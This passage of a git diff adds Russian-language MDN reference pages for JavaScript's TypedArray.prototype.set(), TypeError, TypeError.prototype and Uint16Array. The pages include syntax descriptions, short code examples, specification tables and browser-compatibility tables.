+ <dd>Возвращает локализованное строковое представление элементов массива. Подробнее {{jsxref("Array.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.toString()")}}</dt>
+ <dd>Возвращает строковое представление указанного массива и его элементов . Подробнее {{jsxref("Array.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.@@iterator()", "TypedArray.prototype[@@iterator]()")}}</dt>
+ <dd>Возвращает новый объект итератора массива <strong><code>Array Iterator</code></strong>, содержащий значения для каждого индекса массива.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Описание</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-properties-of-the-%typedarrayprototype%-object', 'TypedArray prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-properties-of-the-%typedarrayprototype%-object', 'TypedArray prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<div class="hidden">Таблица совместимости для этой страницы сгенерирована из структуры. Если вы хотите дополнить эти данные, то обратитесь к странице <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте запрос в "pull request".</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.prototype")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript typed arrays</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/typedarray/set/index.html b/files/ru/web/javascript/reference/global_objects/typedarray/set/index.html
new file mode 100644
index 0000000000..2a26b9b4cb
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/typedarray/set/index.html
@@ -0,0 +1,140 @@
+---
+title: TypedArray.prototype.set()
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/set
+tags:
+  - Типизированные массивы
+  - Типизированный массив
+  - метод
+  - прототип
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/set
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <strong><code>set()</code></strong> сохраняет значения в типизированном массиве, читая значения из предоставленного массива.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>typedarr</var>.set(array [,offset])
+typedarr.set(typedarray [,offset])
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>array</dt>
+ <dd>Массив, из которого необходимо скопировать значения. Все значения из исходного массива копируются в текущий массив, за исключением случая, когда длина исходного массива плюс сдвиг превышают длину текущего массива, в таких ситуациях возникает исключение.</dd>
+ <dt>typedarray</dt>
+ <dd>Если исходный массив является типизированным массивом, то оба массива могут ссылаться на один и тот же {{jsxref("ArrayBuffer")}}, т.е. быть разными представлениями (view) одного и того же ArrayBuffer; браузер <strong>скопирует</strong> исходный диапазон буфера в диапазон назначения даже в случае перекрытия диапазонов.</dd>
+ <dt>offset {{ optional_inline() }}</dt>
+ <dd>Сдвиг для текущего массива, с которого будет производиться запись исходного массива. Если значение опущено, то используется 0 (в таких ситуациях, исходный массив перезапишет значения в текущем массиве начиная с индекса 0).</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Возникает, в случае, когда с текущим сдвигом елементы будут сохраняться за пределы типизированного массива.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_set">Использование метода <code>set</code></h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var uint8 = new Uint8Array(buffer);
+
+uint8.set([1,2,3], 3);
+
+console.log(uint8); // Uint8Array [ 0, 0, 0, 1, 2, 3, 0, 0 ]
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Заменено в ECMAScript 6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-%typedarray%.prototype.set-array-offset', 'TypedArray.prototype.set')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.set-array-offset', 'TypedArray.prototype.set')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>7.0</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>10</td>
+   <td>11.6</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2")}}</td>
+   <td>10</td>
+   <td>11.6</td>
+   <td>4.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript typed arrays</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/typeerror/index.html b/files/ru/web/javascript/reference/global_objects/typeerror/index.html
new file mode 100644
index 0000000000..3fa1ac526e
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/typeerror/index.html
@@ -0,0 +1,131 @@
+---
+title: TypeError
+slug: Web/JavaScript/Reference/Global_Objects/TypeError
+tags:
+  - Error
+  - JavaScript
+  - Object
+  - Reference
+  - TypeError
+translation_of: Web/JavaScript/Reference/Global_Objects/TypeError
+---
+<div>{{JSRef("Global_Objects", "Error", "EvalError,InternalError,RangeError,ReferenceError,SyntaxError,TypeError,URIError")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Объект <code><strong>TypeError</strong></code> представляет ошибку, возникающую, когда значение имеет не ожидаемый тип.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>new TypeError([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>Необязательный параметр. Человеко-читаемое описание ошибки.</dd>
+ <dt><code>fileName</code> {{non-standard_inline}}</dt>
+ <dd>Необязательный параметр. Имя файла, содержащего код, вызвавший исключение.</dd>
+ <dt><code>lineNumber</code> {{non-standard_inline}}</dt>
+ <dd>Необязательный параметр. Номер строки кода, вызвавшей исключение.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Исключение <code>TypeError</code> выбрасывается, когда операнд или аргумент, переданный в функцию, не совместим с типом, ожидаемым оператором или функцией.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt>{{jsxref("TypeError.prototype")}}</dt>
+ <dd>Позволяет добавлять свойства в объект <code>TypeError</code>.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<p>Глобальный объект <code>TypeError</code> не содержит собственных методов, однако, он наследует некоторые методы из цепочки прототипов.</p>
+
+<h2 id="TypeError_instances" name="TypeError_instances">Экземпляры объекта <code>TypeError</code></h2>
+
+<h3 id="Properties_of_TypeError_instances" name="Properties_of_TypeError_instances">Свойства</h3>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/TypeError/prototype', 'Properties')}}</div>
+
+<h3 id="Methods_of_TypeError_instances" name="Methods_of_TypeError_instances">Методы</h3>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/TypeError/prototype', 'Methods')}}</div>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Catch_an_TypeError" name="Example:_Catch_an_TypeError">Пример: перехват исключения <code>TypeError</code></h3>
+
+<pre class="brush: js">try {
+  null.f();
+} catch (e) {
+  console.log(e instanceof TypeError); // true
+  console.log(e.message);              // "null has no properties" - null не имеет свойств
+  console.log(e.name);                 // "TypeError"
+  console.log(e.fileName);             // "Scratchpad/1"
+  console.log(e.lineNumber);           // 2
+  console.log(e.columnNumber);         // 2
+  console.log(e.stack);                // "@Scratchpad/2:2:3\n"
+}
+</pre>
+
+<h3 id="Example:_Create_an_TypeError" name="Example:_Create_an_TypeError">Пример: возбуждение исключения <code>TypeError</code></h3>
+
+<pre class="brush: js">try {
+  throw new TypeError('Привет', 'someFile.js', 10);
+} catch (e) {
+  console.log(e instanceof TypeError); // true
+  console.log(e.message);              // "Привет"
+  console.log(e.name);                 // "TypeError"
+  console.log(e.fileName);             // "someFile.js"
+  console.log(e.lineNumber);           // 10
+  console.log(e.columnNumber);         // 0
+  console.log(e.stack);                // "@Scratchpad/2:2:9\n"
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.6.5', 'TypeError')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-typeerror', 'TypeError')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-typeerror', 'TypeError')}}</td>
+   <td>{{Spec2('ESDraft')}}    </td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{Compat("javascript.builtins.TypeError")}}</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("TypeError.prototype")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/typeerror/prototype/index.html b/files/ru/web/javascript/reference/global_objects/typeerror/prototype/index.html
new file mode 100644
index 0000000000..adb4f5f0b6
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/typeerror/prototype/index.html
@@ -0,0 +1,122 @@
+---
+title: TypeError.prototype
+slug: Web/JavaScript/Reference/Global_Objects/TypeError/prototype
+tags:
+  - Error
+  - JavaScript
+  - Property
+  - Prototype
+  - TypeError
+translation_of: Web/JavaScript/Reference/Global_Objects/TypeError
+---
+<div>{{JSRef("Global_Objects", "Error", "EvalError,InternalError,RangeError,ReferenceError,SyntaxError,TypeError,URIError")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <code><strong>TypeError.prototype</strong></code> представляет прототип конструктора объекта {{jsxref("TypeError")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Все экземпляры {{jsxref("TypeError")}} наследуются от объекта <code>TypeError.prototype</code>. Вы можете использовать прототип для добавления свойств или методов ко всем экземплярам.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+<dl>
+ <dt><code>TypeError.prototype.constructor</code></dt>
+ <dd>Определяет функцию, создающую прототип экземпляра.</dd>
+ <dt>{{jsxref("Error.prototype.message", "TypeError.prototype.message")}}</dt>
+ <dd>Сообщение ошибки. Хотя стандарт ECMA-262 определяет, что {{jsxref("TypeError")}} должен предоставлять своё собственное свойство <code>message</code>, в <a href="/ru/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a> он наследует свойство {{jsxref("Error.prototype.message")}}.</dd>
+ <dt>{{jsxref("Error.prototype.name", "TypeError.prototype.name")}}</dt>
+ <dd>Название ошибки. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "TypeError.prototype.fileName")}}</dt>
+ <dd>Путь к файлу, в котором возникла эта ошибка. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "TypeError.prototype.lineNumber")}}</dt>
+ <dd>Номер строки в файле, в котором возникла эта ошибка. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "TypeError.prototype.columnNumber")}}</dt>
+ <dd>Номер колонки в строке, на которой возникла эта ошибка. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "TypeError.prototype.stack")}}</dt>
+ <dd>Стек вызовов. Унаследовано от {{jsxref("Error")}}.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+<p>Хотя объект прототипа {{jsxref("TypeError")}} не содержит собственных методов, экземпляры {{jsxref("TypeError")}} наследуют некоторые методы из цепочки прототипов.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Определено как <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Определено как <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Error.prototype")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/uint16array/index.html b/files/ru/web/javascript/reference/global_objects/uint16array/index.html
new file mode 100644
index 0000000000..7e140010fc
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/uint16array/index.html
@@ -0,0 +1,199 @@
+---
+title: Uint16Array
+slug: Web/JavaScript/Reference/Global_Objects/Uint16Array
+translation_of: Web/JavaScript/Reference/Global_Objects/Uint16Array
+---
+<div>{{JSRef}}</div>
+
+<p>Объект <strong><code>Uint16Array</code></strong> представляет типизированный массив 16-битных целых беззнаковых чисел с платформо-зависимым порядком байт. Если необходим контроль за порядком байт, то вместо этого объекта используйте <a class="new" href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/DataView" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>DataView</code></a>. Содержимое инициализируется значением <code>0</code>. Создав экземпляр <strong><code>Uint16Array</code></strong> , можно получить доступ к элементам массива, используя методы объекта или стандартный синтаксис доступа к элементу массива по его индексу (с помощью скобочной нотации).</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">new Uint16Array(); // new in ES2017
+new Uint16Array(length);
+new Uint16Array(typedArray);
+new Uint16Array(object);
+new Uint16Array(buffer [, byteOffset [, length]]);</pre>
+
+<p>For more information about the constructor syntax and the parameters, see <em><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#Syntax">TypedArray</a></em>.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Uint16Array.BYTES_PER_ELEMENT")}}</dt>
+ <dd>Returns a number value of the element size. <code>2</code> in the case of an <code>Uint16Array</code>.</dd>
+ <dt>Uint16Array.length</dt>
+ <dd>Static length property whose value is 0. For the actual length (number of elements), see {{jsxref("TypedArray.prototype.length", "Uint16Array.prototype.length")}}.</dd>
+ <dt>{{jsxref("TypedArray.name", "Uint16Array.name")}}</dt>
+ <dd>Returns the string value of the constructor name. In the case of the <code>Uint16Array</code> type: "Uint16Array".</dd>
+ <dt>{{jsxref("TypedArray.prototype", "Uint16Array.prototype")}}</dt>
+ <dd>Prototype for the <em>TypedArray</em> objects.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.from", "Uint16Array.from()")}}</dt>
+ <dd>Creates a new <code>Uint16Array</code> from an array-like or iterable object. See also {{jsxref("Array.from()")}}.</dd>
+ <dt>{{jsxref("TypedArray.of", "Uint16Array.of()")}}</dt>
+ <dd>Creates a new <code>Uint16Array</code> with a variable number of arguments. See also {{jsxref("Array.of()")}}.</dd>
+</dl>
+
+<h2 id="Uint16Array_prototype"><code>Uint16Array</code> prototype</h2>
+
+<p>All <code>Uint16Array</code> objects inherit from {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.</p>
+
+<h3 id="Properties_2">Properties</h3>
+
+<dl>
+ <dt><code>Uint16Array.prototype.constructor</code></dt>
+ <dd>Returns the function that created an instance's prototype. This is the <code>Uint16Array</code> constructor by default.</dd>
+ <dt>{{jsxref("TypedArray.prototype.buffer", "Uint16Array.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{jsxref("ArrayBuffer")}} referenced by the <code>Uint16Array</code> Fixed at construction time and thus <strong>read only</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteLength", "Uint16Array.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>Returns the length (in bytes) of the <code>Uint16Array</code> from the start of its {{jsxref("ArrayBuffer")}}. Fixed at construction time and thus <strong>read only.</strong></dd>
+ <dt>{{jsxref("TypedArray.prototype.byteOffset", "Uint16Array.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>Returns the offset (in bytes) of the <code>Uint16Array</code> from the start of its {{jsxref("ArrayBuffer")}}. Fixed at construction time and thus <strong>read only.</strong></dd>
+ <dt>{{jsxref("TypedArray.prototype.length", "Uint16Array.prototype.length")}} {{readonlyInline}}</dt>
+ <dd>Returns the number of elements hold in the <code>Uint16Array</code>. Fixed at construction time and thus <strong>read only.</strong></dd>
+</dl>
+
+<h3 id="Methods_2">Methods</h3>
+
+<dl>
+ <dt>{{jsxref("TypedArray.copyWithin", "Uint16Array.prototype.copyWithin()")}}</dt>
+ <dd>Copies a sequence of array elements within the array. See also {{jsxref("Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.entries", "Uint16Array.prototype.entries()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the key/value pairs for each index in the array. See also {{jsxref("Array.prototype.entries()")}}.</dd>
+ <dt>{{jsxref("TypedArray.every", "Uint16Array.prototype.every()")}}</dt>
+ <dd>Tests whether all elements in the array pass the test provided by a function. See also {{jsxref("Array.prototype.every()")}}.</dd>
+ <dt>{{jsxref("TypedArray.fill", "Uint16Array.prototype.fill()")}}</dt>
+ <dd>Fills all the elements of an array from a start index to an end index with a static value. See also {{jsxref("Array.prototype.fill()")}}.</dd>
+ <dt>{{jsxref("TypedArray.filter", "Uint16Array.prototype.filter()")}}</dt>
+ <dd>Creates a new array with all of the elements of this array for which the provided filtering function returns true. See also {{jsxref("Array.prototype.filter()")}}.</dd>
+ <dt>{{jsxref("TypedArray.find", "Uint16Array.prototype.find()")}}</dt>
+ <dd>Returns the found value in the array, if an element in the array satisfies the provided testing function or <code>undefined</code> if not found. See also {{jsxref("Array.prototype.find()")}}.</dd>
+ <dt>{{jsxref("TypedArray.findIndex", "Uint16Array.prototype.findIndex()")}}</dt>
+ <dd>Returns the found index in the array, if an element in the array satisfies the provided testing function or -1 if not found. See also {{jsxref("Array.prototype.findIndex()")}}.</dd>
+ <dt>{{jsxref("TypedArray.forEach", "Uint16Array.prototype.forEach()")}}</dt>
+ <dd>Calls a function for each element in the array. See also {{jsxref("Array.prototype.forEach()")}}.</dd>
+ <dt>{{jsxref("TypedArray.includes", "Uint16Array.prototype.includes()")}} {{experimental_inline}}</dt>
+ <dd>Determines whether a typed array includes a certain element, returning <code>true</code> or <code>false</code> as appropriate. See also {{jsxref("Array.prototype.includes()")}}.</dd>
+ <dt>{{jsxref("TypedArray.indexOf", "Uint16Array.prototype.indexOf()")}}</dt>
+ <dd>Returns the first (least) index of an element within the array equal to the specified value, or -1 if none is found. See also {{jsxref("Array.prototype.indexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.join", "Uint16Array.prototype.join()")}}</dt>
+ <dd>Joins all elements of an array into a string. See also {{jsxref("Array.prototype.join()")}}.</dd>
+ <dt>{{jsxref("TypedArray.keys", "Uint16Array.prototype.keys()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> that contains the keys for each index in the array. See also {{jsxref("Array.prototype.keys()")}}.</dd>
+ <dt>{{jsxref("TypedArray.lastIndexOf", "Uint16Array.prototype.lastIndexOf()")}}</dt>
+ <dd>Returns the last (greatest) index of an element within the array equal to the specified value, or -1 if none is found. See also {{jsxref("Array.prototype.lastIndexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.map", "Uint16Array.prototype.map()")}}</dt>
+ <dd>Creates a new array with the results of calling a provided function on every element in this array. See also {{jsxref("Array.prototype.map()")}}.</dd>
+ <dt>{{jsxref("TypedArray.move", "Uint16Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}</dt>
+ <dd>Former non-standard version of {{jsxref("TypedArray.copyWithin", "Uint16Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduce", "Uint16Array.prototype.reduce()")}}</dt>
+ <dd>Apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value. See also {{jsxref("Array.prototype.reduce()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduceRight", "Uint16Array.prototype.reduceRight()")}}</dt>
+ <dd>Apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value. See also {{jsxref("Array.prototype.reduceRight()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reverse", "Uint16Array.prototype.reverse()")}}</dt>
+ <dd>Reverses the order of the elements of an array — the first becomes the last, and the last becomes the first. See also {{jsxref("Array.prototype.reverse()")}}.</dd>
+ <dt>{{jsxref("TypedArray.set", "Uint16Array.prototype.set()")}}</dt>
+ <dd>Stores multiple values in the typed array, reading input values from a specified array.</dd>
+ <dt>{{jsxref("TypedArray.slice", "Uint16Array.prototype.slice()")}}</dt>
+ <dd>Extracts a section of an array and returns a new array. See also {{jsxref("Array.prototype.slice()")}}.</dd>
+ <dt>{{jsxref("TypedArray.some", "Uint16Array.prototype.some()")}}</dt>
+ <dd>Returns true if at least one element in this array satisfies the provided testing function. See also {{jsxref("Array.prototype.some()")}}.</dd>
+ <dt>{{jsxref("TypedArray.sort", "Uint16Array.prototype.sort()")}}</dt>
+ <dd>Sorts the elements of an array in place and returns the array. See also {{jsxref("Array.prototype.sort()")}}.</dd>
+ <dt>{{jsxref("TypedArray.subarray", "Uint16Array.prototype.subarray()")}}</dt>
+ <dd>Returns a new <code>Uint16Array</code> from the given start and end element index.</dd>
+ <dt>{{jsxref("TypedArray.values", "Uint16Array.prototype.values()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the values for each index in the array. See also {{jsxref("Array.prototype.values()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toLocaleString", "Uint16Array.prototype.toLocaleString()")}}</dt>
+ <dd>Returns a localized string representing the array and its elements. See also {{jsxref("Array.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toString", "Uint16Array.prototype.toString()")}}</dt>
+ <dd>Returns a string representing the array and its elements. See also {{jsxref("Array.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.@@iterator", "Uint16Array.prototype[@@iterator]()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the values for each index in the array.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Different ways to create a <code>Uint16Array</code>:</p>
+
+<pre class="brush: js">// From a length
+var uint16 = new Uint16Array(2);
+uint16[0] = 42;
+console.log(uint16[0]); // 42
+console.log(uint16.length); // 2
+console.log(uint16.BYTES_PER_ELEMENT); // 2
+
+// From an array
+var arr = new Uint16Array([21,31]);
+console.log(arr[1]); // 31
+
+// From another TypedArray
+var x = new Uint16Array([21, 31]);
+var y = new Uint16Array(x);
+console.log(y[0]); // 21
+
+// From an ArrayBuffer
+var buffer = new ArrayBuffer(8);
+var z = new Uint16Array(buffer, 0, 4);
+
+// From an iterable
+var iterable = function*(){ yield* [1,2,3]; }();
+var uint16 = new Uint16Array(iterable);
+// Uint16Array[1, 2, 3]
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Superseded by ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition in an ECMA standard. Specified that <code>new</code> is required.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>ECMAScript 2017 changed the <code>Uint16Array</code> constructor to use the <code>ToIndex</code> operation and allows constructors with no arguments.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Uint16Array")}}</p>
+
+<h2 id="Compatibility_notes">Compatibility notes</h2>
+
+<p>Starting with ECMAScript 2015, <code>Uint16Array</code> constructors require to be constructed with a {{jsxref("Operators/new", "new")}} operator. Calling a <code>Uint16Array</code> constructor as a function without <code>new</code>, will throw a {{jsxref("TypeError")}} from now on.</p>
+
+<pre class="brush: js example-bad">var dv = Uint16Array([1, 2, 3]);
+// TypeError: calling a builtin Uint16Array constructor
+// without new is forbidden</pre>
+
+<pre class="brush: js example-good">var dv = new Uint16Array([1, 2, 3]);</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays" title="en/JavaScript typed arrays">JavaScript typed arrays</a></li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/uint32array/index.html b/files/ru/web/javascript/reference/global_objects/uint32array/index.html
new file mode 100644
index 0000000000..dffb14d480
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/uint32array/index.html
